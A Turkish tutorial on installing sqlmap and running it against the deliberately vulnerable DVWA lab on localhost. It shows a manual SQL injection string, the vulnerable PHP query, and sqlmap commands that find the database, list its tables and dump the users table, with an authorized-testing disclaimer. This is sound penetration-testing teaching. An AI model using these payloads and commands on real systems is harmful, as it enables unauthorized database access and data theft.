SQLMap web uygulamalarında SQL Injection açıklığının otomatize denetimini gerçekleştirebilen python ile yazılmış bir araçtır. Python ile yazılması nedeniyle genellikle bir çok işletim sistemde çalıştırılabilir. Backtrack gibi linux dağıtımlarında kurulu olarak gelmektedir. Proje sayfasına http://sqlmap.org adresinden erişilebilir. Kullanabilmek için temel olarak sistemde python kurulu olması yeterlidir. Bu makalede Ubuntu sistem üzerine sqlmap kurulumu gerçekleştirilecek ve örnek kullanım gerçekleştirilecektir. Ubuntu üzerinde sisteminize python ve sqlmap kurmak için aşağıdaki komutlar kullanılabilir.

Kurulum

Python kurulumunu APT ile rahatlıkla gerçekleştirebilirsiniz. APT ile sisteminize python kurmak için aşağıdaki komutu kullanabilirsiniz.

#apt-get install python

daha sonra sisteminizin durumuna göre zip veya tar olarak sıkıştrılmış proje kaynak dosyaları indirilmelidir.


sqlmap projesi github deposunda tutulmaktadır. İndirdikten sonra versiyona göre yada indirdiğiniz sıkıştırılmış formata göre dosyaları ayıklamanız gerekmektedir. 

#unzip master.zip

yada 

#tar -xzvf master.tar.gz

Kullanım Senaryosu

SQLMap kullanımı için SQL Injection açıklığı barındıran denetimi yapılacak bir web uygulamasına ihtiyaç var. İçerisinde SQL Injection açıklığını da barındıran, özelllikle açıklık denetim demolarında kullanılan birçok web uygulaması bulunmaktadır. DVWA bunların en adı duyulanlarından biridir. DVWA projesine http://www.dvwa.co.uk adresinden erişilebilir. Bu uygulama GET, POST, Cookie veya HTTP Başlıkları üzerinden dinamik olarak istemci tarafından parametre kabul etmektedir. Bu noktada parametrelerin tespitinin ardından SQLMap ile uygulamanın SQL Injection açıklığından etkilenip etkilenmediğinin denetimi yapılabilir.  Eğer açıklık var ise arka-uç'ta kullanılan veritabanı yönetim sistemi bilgilsine, sistemdeki verilere ve hatta dosya sistemi ve işletim sistemine erişilebilmektedir. DVWA uygulamasında  SQL Injection açıklığı bulunan URL aşağıda görülmektedir. Bu URL'deki "id" parametresi üzerinden denetim gerçekleştirilebilir.

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

DVWA'daki SQL uygulamasına oturum açılarak erişilebildiğinden dolayı denetimi gerçekleştirebilmek için herhangi bir web tarayıcısı üzerinden DVWA'da oturum açılmalı ve Cookie'de saklanan oturum kimliği değerine ulaşılmalıdır. DVWA'da varsayılan kullanıcı adı "admin" şifresi ise "password" olarak belirlenmiştir. Cookie'de saklanan oturum kimliğine ulaşmak için birçok web tarayıcısında eklentiler bulunmaktadır. Aşağıdaki bağlantılar kullanılarak Chrome ve Firefox için eklentilere erişilebilir.

SQL Injection'ı Anlamak

DVWA uygulamasında girdi noktasına elle yapılacak bir testle SQL Injection varlığı tespit edilebilir. Uygulamadaki SQL Injection açıklığını elle test etmek için yukarıdaki ekran görüntüsünde görüldüğü gibi User ID girdi alanına aşağıdaki değerin yazılması yeterli olacaktır.

1' OR '1=1

Burada açıklık uygulamadaki sorgu cümleciğinin girdi alanından gelen değerleri filtrelememesinden kaynaklanmaktadır. Aşağıdaki SQL cümleciğinde "user_id" değerine göre kullanıcının detayları getirilmektedir. SQL sorgusu sonuna eklenen tek tırnak (') ile SQL cümleciği nin arasına ikinci bir koşul eklenerek sorgu sonucunun tüm kayıtları getirmesi sağlanmaktadır.

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Bu SQL cümleciği normalde $id değişkeninden gelen değeri kullanarak (Örn. User ID alanına 1 girildiğinde) aşağıdaki gibi bir sorgu oluşturmaktadır.

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1'";

Fakat bu alana yukarıda gösterilen biçimde bir değer girildiğinde sorgu aşağıdaki şekilde oluşturulularak user_id ne olursa olsun olumlu (true) sonucunu dönmekte ve tüm kayıtları getirmektedir. 

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1=1'";

Kullanım

SQLMap açıklığın tespitini ve açıklık sömürüsünü 5 farklı teknikle (Boolean-based blind, Time-based blind, Error-based, UNION query-based, Stacked queries) otomatize olarak gerçekleştirebilmektedir. SQLMap proje klasörü içerisindeki sqlmap.py isimli python dosyası seçenekler ile kullanılmaktadır. Aşağıda bazı temel seçenekler listelenmiştir.
  • -u veya --url : Hedef URL tanımlamak için kullanılır.
  • --cookie=COOKIE : HTTP cookie (çerez) değerlerini tanımlamak için kullanılır.
  • --dbms=DBMS : Veritabanı sistemi tanımlamak için kullanılır. ( MySQL, MSSQL vb.)
  • --current-db : Aktif veritabanı adını getirir.
  • --dbs : Sunucudaki tüm veritabalarını listeler.
  • -D : Veritabanı adını tanımlamak için kullanılır.
  • --tables : Tanımlanan veritabanındaki tabloları listeler.
  • -T : Tablo adını tanımlamak için kullanılır. 
  • --dump : Tablodaki kayıtları getirir.
  • --columns : Tanımlanan tablodaki sutün başlıklarını listeler.
  • -C : Sütun adını tanımlamak için kullanılır.
Aşağıdaki kullanım örneğinde -u ile denetimi yapılacak URL , --cookie ile oturum açıldıktan sonra Cookie'de saklanan değerler tanımlanmakta ve --current-db ile aktif veritabanının adının getirilmesi gerçekleştirilmektedir.

Veritabanı Adına Erişim: Aşağıdaki kullanım ile aktif veritabanı adı bilgisine ulaşılabilmektedir.

./sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=lb4rsq3utd4sm47pkoao4sjhl1; security=low" --current-db

SQLMap Çıktısı:

[01:46:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[01:46:28] [INFO] fetching current database
current database: 'dvwa'

Sonuçlarda görüldüğü üzere veritabanı adı bilgisine ulaşılmaktadır. Ardından sırasıyla veritabaındaki tablolara, tablolardan sütun bilgilerine kadar tüm bilgilere erişilebilir.

Veritabanındaki Tablo Adlarına Erişim: Aşağıdaki kullanım ile dvwa veritabanındaki tablo isimlerine ulaşılabilmektedir.

./sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=lb4rsq3utd4sm47pkoao4sjhl1;security=low" -D dvwa --tables

SQLMap Çıktısı:

Database: dvwa
[2 tables]
+--------------+
| guestbook  |
| users          |
+--------------+


Tablodaki Kayıtlara Erişim: Aşağıdaki kullanım ile dvwa veritabanındaki user tablosundaki tüm kayıtlara ulaşılabilmektedir.

./sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=lb4rsq3utd4sm47pkoao4sjhl1;security=low" -D dvwa -T users --dump

SQLMap Çıktısı:

Feragatname

Bu makalede anlatılan teknikler sızma testlerinde veya kendi ağınızdaki eğitim amaçlı sızma testlerinde  kullanılması için yayınlanmıştır. Yazar makalede anlatılan tekniklerden dolayı gerçekleştirilebilecek yasadışı  hiçbir uygulamadan sorumlu tutulamaz. Makaleden faydalanan kullanıcılar bu feragatmeyi okuduğunu ve anladığı kabul eder.

0 comments:

Post a Comment

 
Top